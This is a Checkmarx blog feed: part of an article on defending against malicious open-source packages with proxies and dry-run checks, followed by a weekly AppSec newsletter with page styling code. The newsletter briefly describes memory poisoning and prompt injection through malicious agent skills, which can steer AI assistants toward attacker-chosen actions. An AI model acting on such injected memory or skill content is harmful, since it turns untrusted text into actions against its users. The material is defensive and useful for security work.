  • dramatically speed up your response time to supply-chain incidents: moving to a safe version can be as simple as re-building without code changes; and where it isn’t, use of the affected item is automatically brought to developers’ attention on next build, preventing the incident from spreading and driving remediation
  • prevent supply-chain regressions: once a dangerous package or version is blocked, no one can make a new installation of it
  • enable proactive control centrally: with identification systems (such as the Checkmarx MPIAPI) in place that can check package safety before fulfilling a request, you can defend your entire organization against malicious open-source packages in once place, reducing the risk that something malicious will slip through the cracks

Remember our developer from the introduction? Her project installed ngx-color@10.0.2, one of the packages infected with the Shai-Hulud malware; she actually requested “any version of ngx-color that’s at least version 10.0.0”, and npm figured out that 10.0.2 was the newest version that matched.

After cleaning up the infection, she had to go through her project and change any reference to that package. Easy enough if her application was the one asking for ngx-color; but if it was a transitive dependency — a package requested by another package our developer asked for — then that can be a significant effort.

But what if her laptop had been set up to use, say, the organization’s Artifactory server instead of the public npm? Unless there was a proactive defense plugin in place, she’d still have gotten infected. But her post-cleanup task is much easier and much more reliable. She can ask the security team to block the malicious version and just re-run the installation. Now Artifactory will reject any request for ngx-color@10.0.2 and provide the newest safe version instead. Even if something in her dependencies requests that version explicitly, the proxy will block the download and she’ll be able to quickly determine where she needs to make a fix.

And now that it has been blocked within Artifactory, no one else in the organization will be able to install it, meaning that the spread is stopped and regressions have been prevented. All it takes to make this the experience across the organization is setting up the proxy features, pushing a configuration to build systems to make sure they use it, and blocking direct access to the public repositories. Then simply block any package or package version that poses too much risk to be permitted.

Of course, we can make this better with proactive control. Remember that malicious packages can infect systems upon installation, so even though a proxy like this speeds the response and prevents regression, you still have an infection to clean up after. If Artifactory had our MPIAPI plugin installed and configured, then when our developer tried to run npm install, the plugin would have noted that ngx-color@10.0.2 was known to be malicious and refused to let the proxy deliver it to her machine in the first place.

Proactively defend the SDLC everywhere you install packages

Developer workstations, CI/CD systems, and any other system that builds and packages your applications for deployment or distribution are potential targets for malicious open-source packages. In some environments, where production systems install open-source dependencies directly, production servers and containers may also be at risk.

Detecting the infection after it happens is an expensive way to operate; proactive defense is essential. This means using “dry run” or “simulation” features of package managers to determine what would be installed, checking to see if those packages or specific versions are malicious or suspicious, and blocking the installation in response. If the target system or container is prevented from installing packages without using your central package manager proxy, then proactive defenses in your proxy may be enough. Otherwise, individual systems become responsible for their own safety.

Most major package managers have a way to generate a list of packages that would be installed; for a couple of examples:

  • mvn has the -DdryRun=true option
  • pip has --dry-run as of pip 22.2; before that, --no-install may be available
  • npm  and yarn (which also accesses the NPM registry) both have --dry-run and --package-lock-only

A build process that performs a dry run to get a list of packages that would be installed, then checks that against a database of malicious packages, can block the installation process before any malicious open-source packages are installed. And this works even if using the public registries, which makes it an excellent safety measure even when using a package manager proxy.

I have an open-source project cx-mpicheck (check it out on GitHub) that serves as an example of how to do this efficiently with pip, poetry, npm, pnpm, and go-mod projects.

Beyond that, a policy that delays the availability of new package versions a bit can be a valuable control. When using a package proxy, you can configure it so that new packages and new versions of existing packages don’t become available to your organization for, say, 48 hours. This gives the security research community time to identify malicious content, package maintainers time to notice that they’ve been compromised, etc.

A policy plugin can check the malicious package database via API call, blocking malicious packages; and enforce other policies, before deciding which packages to fetch and cache from the public registry

None of this can ever be perfect, but it provides a valuable layer of defense. The delay increases the chance that malicious code will be identified and added to databases of malicious packages, and the proactive blocking of things on that database lowers the chance malicious code will appear on developer desktops or in your applications.

Continuously monitor production and pre-production applications

Of course, no proactive defense is perfect. And defenses against malicious open-source packages are no different. Proactive defenses we’ve talked about can fail in a few ways:

  • Malicious packages are installed before they are known to be malicious or suspicious
  • A change to a build configuration or build system configuration may accidentally or intentionally bypass defenses
  • Malicious packages may be installed in on an unmanaged system that still has access to sensitive data; this is most likely to happen in a containerized environment where use of approved, managed images is not adequately enforced

Because of this, you still need a reactive layer of defense. And the most sensible place to put this layer is within or alongside your SCA scans. The Checkmarx SCA scanner handles this at an enterprise level by enabling the Malicious Package Protection feature across your organization; other SCA systems may require adjustments to scan configurations or the addition of a separate malicious package scanner.

Instrumenting SCA scans where they’re sensible within your SDLC, which is most often on merges to deployable code branches and on a scheduled basis for those same branches, is already an important vulnerability management step. Including malicious package checks at the same time allows you to react to malicious packages that may have slipped through your preventive controls.

If you have successfully deployed a package manager proxy as a sort of centralized “choke point” for open-source dependencies, then you can also create a powerful layer of rapidly-reactive defenses by routinely checking your list of cached package versions to see if any represent malicious open-source packages. This can be done in two basic ways, depending on your selected tools:

  1. Generate an SBOM file containing all your open-source dependencies, and run your malicious package detection tools against this file. Not all proxy products make this easy, unfortunately, but it is generally at least possible; though in some cases it may require some 3rd-party open-source tools to fully complete. The Checkmarx SCA tool with MPP can be used for this: just set up an SCA scan with MPP enabled and select the SBOM file as the source. The resulting report will include known vulnerabilities and malicious packages that are cached by your proxy.
  2. Generate a CSV or similar file containing the package repo name (like ‘pypi’ or ‘npm’), package name, and package version for each package version in your proxy’s cache. Feed this to an API like the Checkmarx MPIAPI to identify any malicious open-source packages in the list.

By routinely checking your projects and your centralized package manager proxy, you can quickly find out where you have a risk of infection in your organization and engage your response process.

Putting it all together

To adequately defend your organization against open-source risks, establish proactive detection systems like the Checkmarx MPIAPI, reactive detection systems like Checkmarx SCA with MPP, and set up a package manager proxy like Artifactory (ideally with both proactive and reactive controls monitoring it) to speed up response times and centralize control. Delay the availability of newly-published packages and versions to your organization to provide a “buffer” for security researchers to do their jobs. And familiarize yourself in depth with the threat of malicious open-source packages (start by reading an executive summary and a free eBook discussing the issue in depth, prepared by the experienced Checkmarx field teams).

Let’s look back at our developer story with this all in place. In a cozy apartment an hour outside of San Francisco, a developer grabs her second cup of tea, opens VSCode, pulls updates from GitHub for her current project, and runs npm install. She receives an error from npm letting her know that ngx-color@10.0.2 was requested but isn’t found or was blocked by policy. The Shai-Hulud infection never happens.

She runs something like npm remove ngx-color ; npm install ngx-color@~10.0.0 --save and npm reaches back out to the proxy and gets the newest safe version of ngx-color in the 10.0.x tree (which happens to be 10.0.0 at that moment).

She runs her tests and takes a moment to make a pull request to update the project with the new version of ngx-color, so her colleagues won’t run into the same issue.

She doesn’t know that she was just protected from Shai-Hulud. She doesn’t know that her whole team was saved too. She just fixed a small problem in her project and got on with her day. And that is a real win for the security team that set up the controls that protected against malicious open-source packages.

]]>
proxy-before-after.drawio proxy-policy-block.drawio
Last Week in AppSec for 12. Feb 2026 https://checkmarx.com/zero-post/last-week-in-appsec-for-11-feb-2026/ Thu, 12 Feb 2026 06:00:00 +0000 https://staging.checkmarx.com/?post_type=zero-post&p=106953 @import url("https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.11.1/styles/vs2015.min.css"); @font-face { font-family: 'Hack'; src: url('https://cdnjs.cloudflare.com/ajax/libs/hack-font/3.3.0/web/fonts/hack-regular-subset.woff2') format('woff2'); } :root { --code-font: 'Hack','Menlo','Consolas',monospace !important; /* --code-bg: #282828; */ --code-bg: rgb(30,30,30); --code-color: #00CC11; --code-dim: #007711; --text-color: rgb(18, 17, 133); /* use rarely: this matches current text color, but usually just inherit! */ --highlight-color: #f8ff91; --highlight-color-alt: #736ca0; } article.content { max-width: 100% !important; min-width: 80% !important; width: 99% !important; } .wp-block-code code { text-wrap: nowrap !important; } figure { margin-top: 1.5rem; margin-bottom: 1.5rem; } p.caption, figcaption { font-size: 1rem !important; font-style: italic !important; /*background-color: #000;*/ color: var(--code-dim) !important; } p.caption *, figcaption * { font-size: inherit !important; } div.callout { max-width: 80% !important; padding-top: 0.5rem; padding-bottom: 0.5rem; margin-top: 1rem; margin-bottom: 1rem; display: block; margin-left: 10%; border-top: 0.3rem solid rgb(18, 17, 133); border-bottom: 0.3rem solid rgb(18, 17, 133); } div.callout p { font-size: x-large; text-align: left; font-weight: bold; } .cxzero-video-include { display: block; max-width: 1920px; width: 100%; padding-top: 1rem; padding-bottom: 1rem; } .cxzero-video-include video { display: block; padding: 0.5rem; background-color: var(--code-bg); width: 98%; object-fit: cover; } pre.wp-block-code, pre.highlighted-code, pre.sourceCode, pre { border: 1px solid var(--code-color); width: 90%; /*max-width: 90% !important;*/ background-color: var(--code-bg); color: var(--code-color); margin: 1em; padding: 2em; overflow-x: scroll; font-family: var(--code-font); font-size: 10.5pt; line-height: 1.1em; text-wrap: nowrap !important; box-shadow: 5px 5px 13px 0px var(--code-bg); } * kbd, * code, * tt { /*background-color: var(--code-bg);*/ font-family: var(--code-font); padding-inline: 0.5em; color: var(--code-dim); font-size: 85%; } pre code { color: var(--code-color); font-size: 90%; } pre.highlighted-code span { font-family: var(--code-font); font-size: 10.5pt; color: var(--code-color); } pre.highlighted-code span.comment { font-style: italic; color: var(--code-dim); } pre.highlighted-code span.keyword, pre.highlighted-code span.preproc { font-weight: bold; font-style: oblique; } blockquote, blockquote * { font-size: 1.375rem !important; font-style: italic !important; } blockquote { border-left: 0.1rem solid; padding-left: 1rem; } mark, mark * { background-color: var(--highlight-color) !important; } mark.ai-content, mark.ai-content * { background-color: var(--highlight-color-alt) !important; color: #fff !important; } .cxzero-cve-block { border: 1px solid var(--code-color, #0c1); padding: 0.5rem; p { padding: 0; margin: 0; } span.vulndesc { display: block; font-size: 0.9rem; font-weight: 400; font-style: italic;} span.cvss::before { content: " "; } span.cvss { background: #fe0; } span.cvss.critical { background: #c00; color: #eee; } span.cvss.high { background: #FFAC1C; color: #0015FF; } span.vector::before { content: "▸"; } span.vector, span.vector * { overflow-wrap: break-word; font-family: var(--code-font); font-size: 10pt; } .kev { display: block; font-weight: bold; } .kev::before { content: "‼" } } .print-source-info { display: none; } @media print { .header, .header *, .article-nav, .article-nav *, .aticle-nav, .aticle-nav *, .section_latest, .section-latest *, footer, footer *, .section-menu-page, .section-menu-page *, .top-menu, .top-menu *, .top-menu__container, .top-menu__container *, .section-zero-article, .section-zero-article * { display: none; } @page { margin: 13mm !important; } .section-aticle-header__image-or-video { max-width: 125mm; } .print-source-info { display: block; border-left: 0.2rem solid #000; font-style: italic !important; font-size: 85%; padding-left: 1rem; } }

An overview

Two themes stood out last week in AppSec: developers as a direct target (via package registries and IDE tooling), and trust boundaries shifting (AI assistants and “skills” ecosystems creating new places where untrusted content becomes instructions).

  • Malicious dYdX packages hit npm + PyPI and targeted developer/ops wallet credentials. Teams that pulled the malicious packages into build/automation flows or installed them locally are directly affected. But AppSec and related teams should understand this type of attack even if they weren’t impacted this time.

  • BeyondTrust pre-auth RCE (OS command injection) in Remote Support / Privileged Remote Access. This is a “patch now” remote compromise class issue for orgs exposing these services (especially self-hosted).

  • “Memory poisoning” and recommendation poisoning for AI assistants. Attackers who can inject content into an assistant’s long-term memory can steer future actions and recommendations—this is a governance + product-security problem, not just “prompt injection.”

  • Malicious “skills” / agent add-ons: prompt-injection rates and outright malicious entries. The risk isn’t only bad answers—skills can become a bridge to credentials, tools, and execution if your agent environment is permissive.

  • Docker Desktop for Windows local privilege escalation (incorrect permissions). Local privesc issues are frequently dismissed—don’t. On developer workstations they’re often the missing step after phishing/infostealers.

Get updates like this one in your Inbox
visual

Featured item: Malicious dYdX packages show why registry trust is not enough

Socket’s Threat Research Team reported a supply-chain attack that published malicious packages across both npm and PyPI targeting the dYdX system for trading cryptocurrency and derivatives. While organizations not engaging with dYdX aren’t at risk, this targeted attack is another example of how important it is for organizations to answer a very specific question: how quickly can your organization detect that a normal dependency update introduced malicious code to your systems?

What the issue is

The attacker followed a common compromise pattern to compromise dYdX client libraries across npm and PyPI simultaneously:

  • Upload a new package update to a legitimate package using compromised credentials of a legitimate maintainer.

  • Include a payload that attempts to harvest secrets (mainly wallet credentials in this case) and exfiltrate them

  • Those secrets are then usable by the attacker whenever they wish.

Other similar attacks have been known to seek out some combination of CI tokens, deployment keys, cloud service credentials, signing keys, and production credentials; however, in this case the attackers focused on seed phrases and device fingerprints that enable access to cryptocurrency wallets.

The package uploaded to PyPI also included a Remote Access Trojan (RAT) that gives attackers on-demand access to the developer’s workstation (or build system) where the package is downloaded.

We don’t know the attackers’ motives for sure, but it’s good bet they targeted these clients because they’re involved in accessing between $200 million and $540 million worth of transactions daily. Financial gain is a common and compelling motivator for attackers to make significant effort investments.

Why this matters to AppSec and developer teams

If a malicious dependency runs during install, build, or test, you are no longer in “vulnerability management” mode—you’re in incident response mode. Unlike a vulnerability, this isn’t something you can just shrug off. Risks of this type of attack include:

  • credential reuse into CI/CD and cloud
  • tampering with build outputs
  • persistence via tokens, SSH keys, and org access

What to do (minimally disruptive, high impact)

  1. Triage exposure fast

    • Identify any developer machines and CI runners that installed the malicious packages (dependency lock seeps into places you don’t expect). Checkmarx SCA’s Global Inventory can assist in this.

    • Assume secrets present on those hosts may be exposed until proven otherwise.

  2. Rotate secrets from a known-clean environment

    • Prioritize: repo/CI tokens, cloud credentials, package publishing tokens, signing keys, and any wallet/private-key material used by automation.
  3. Add guardrails that scale

    • Enforce allow-lists / scoped registries for sensitive environments (CI runners, release pipelines).

    • Block lifecycle scripts by default where feasible (or run them only in hardened sandboxes).

    • Use SCA with a MPP capability, not just a CVE detector

    • Use a proactive defense tool like Checkmarx MPIAPI to block known malicious packages

For more detail (including IOCs and package identifiers), use Socket’s original report

BeyondTrust pre-auth RCE is a “patch now” for remote access infrastructure

BeyondTrust disclosed a critical OS command injection leading to remote code execution affecting Remote Support and certain versions of Privileged Remote Access. The reported severity and pre-auth nature make this an urgent item for teams with internet-exposed instances.

Scope: users of affected BeyondTrust RS/PRA versions, particularly self-hosted deployments that are not automatically updated.

Impact: unauthenticated remote attackers may run commands and compromise the system.

Action: patch immediately; validate whether the instance was exposed, and review logs for anomalous process execution around the vulnerable service.

Source for more information: TechRadar (referencing the vendor advisory).

Memory poisoning is becoming a real control boundary problem for AI assistants

Microsoft described “AI Memory Poisoning” as injecting unauthorized instructions or “facts” into an assistant’s memory, which then influences future responses and actions.

Scope: any workflow where assistants store durable preferences, “remembered” instructions, or long-lived notes across sessions.

Impact: subtle and persistent steering—recommendations, policy decisions, and tool-use can drift in attacker-chosen directions without an obvious one-time prompt injection event.

Action: treat memory as a governed datastore:

  • limit what can be written to memory (and by whom/what content sources)
  • require user confirmation for memory writes in higher-risk contexts
  • log and review memory changes like you would configuration changes

Source for more information: Microsoft Security blog.

Malicious “skills” ecosystems are turning into an AppSec problem (not just AI safety)

Snyk reported large-scale issues in agent “skills” ecosystems (including prompt injection prevalence and identification of malicious entries), reinforcing a pattern: once an agent can call tools, a poisoned skill can become an execution path.

Scope: teams adopting agent platforms that load third-party skills/connectors, especially where skills can reach CI, repos, ticketing, or cloud APIs.

Impact: time-shifted prompt injection, logic-bomb behavior, and tool misuse—often without a traditional exploit.

Action: apply supply-chain rules to skills:

  • pin versions, require provenance, and review permissions
  • isolate tool credentials per-skill (least privilege)
  • block network egress from skill runtimes unless explicitly required

Source for more information: The Hacker News

Docker Desktop for Windows local privesc: don’t dismiss workstation privilege bugs

Trend Micro’s ZDI published an advisory for Docker Desktop for Windows involving incorrect permission assignment leading to privilege escalation.

Scope: Windows developer endpoints running affected Docker Desktop configurations.

Impact: local privilege escalation can be the step that turns “developer got phished” into “attacker owns the workstation and steals keys/tokens/signing material.”

Action: patch Docker Desktop promptly on developer fleets, and ensure endpoint hardening policies treat developer tooling as high-value software.

Source for more information: ZDI advisory ZDI-26-068.

]]>
right visual visual